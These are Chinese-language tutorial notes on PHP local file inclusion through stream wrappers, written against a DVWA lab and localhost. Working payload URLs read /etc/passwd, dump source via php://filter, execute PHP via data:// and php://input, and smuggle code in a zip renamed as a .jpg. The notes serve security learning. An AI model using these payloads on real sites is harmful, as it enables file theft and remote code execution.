文件包含中的伪协议
1.利用前提
1.web 应用采用 include 等文件包含函数,并且需要包含的文件路径是通过用户传输参数的方式引入;
2.用户能够控制包含文件的参数,被包含的文件可被当前页面访问;
3.在使用文件包含漏洞时,必须要能知道其绝对路径(在包含文件处,查看其返回的错误的信息)
2.伪协议文件包含(伪协议后必须是文件绝对路径)
1.file:// 访问本地文件系统
2.http:// 访问 HTTPs 网址
3.ftp:// 访问 ftp URL
4.php:// 访问输入输出流
5.zlib:// 压缩流
6.data:// 数据
7.ssh2:// security shell2
8.expect:// 处理交互式的流
9.glob:// 查找匹配的文件路径
3.包含函数
4.file
条件:allow_url_fopen: off/on allow_url_include: off/on (均不受影响)
Linux:http://127.0.0.1/FI/LFI.php?file=file:///etc/passwd 绝对路径
Windows :http://192.168.6.128:8001/vulnerabilities/fi/?page=file:///C:\DVWA-master\vulnerabilities\fi\1.txt 绝对路径
5.php(主要为php://input与php://filter)
php://input伪协议:(将POST输入流当做PHP代码执行)
条件:allow_url_include:on,allow_url_fopen:on/off(受allow_url_include影响)
php://filter伪协议:(此协议主要用于读取php源代码时会用到)
条件:allow_url_fopen: off/on allow_url_include: off/on (均不受影响)
http://192.168.6.128:8001/vulnerabilities/fi/?page=php://filter/resource=./1.txt 相对路径
http://192.168.6.128:8001/vulnerabilities/fi/?page=php://filter/resource=file:///C:\DVWA-master\vulnerabilities\fi\1.txt 绝对路径
http://127.0.0.1/FI/LFI.php?file=php://filter/resource=file:///etc/passwd
http://192.168.6.128:8001/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=./1.txt 以base64编码将文件内容输出
6.zip
条件:allow_url_fopen: off/on allow_url_include: off/on(均不受影响)
两种方法:
1 、现将要执行的 php 代码写好并且命名为 a.txt,将 a.txt 进行 zip 压缩,命名为 a.zip,如果可以上传 zip 文件便直接上传,如若不能可将 a.zip 命名为 a.jpg 上传;
2 、将 a.php 直接压缩成 a.bz2
http://127.0.0.1/LFI.php?file=zip://D:/phpstudy/PHPTutorial/WWW/a.zip%23a.txt
http://127.0.0.1/FI/LFI.php?file=zip://D:/phpstudy/PHPTutorial/WWW/a.jpg%23a.txt
7.phar
条件:allow_url_fopen: off/on allow_url_include: off/on (均不受影响) php 版本大于等于php5.3.0
8.data
条件:allow_url_fopen: on allow_url_include: on(均受影响)
http://192.168.6.128:8001/vulnerabilities/fi/?page=data://test/plain,<?php phpinfo();?>
http://192.168.6.128:8001/vulnerabilities/fi/?page=data://test/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
9.input
条件:allow_url_fopen:off/on allow_url_include:on (只受allow_url_include影响)
http://127.0.0.1/LFI.php?file=php://input 用post方式提交这个数据 <?php phpinfo()?>
10.http
条件:allow_url_fopen: on allow_url_include: on(均受影响)
http://localhost/test.php?file=http://www.baidu.com
总结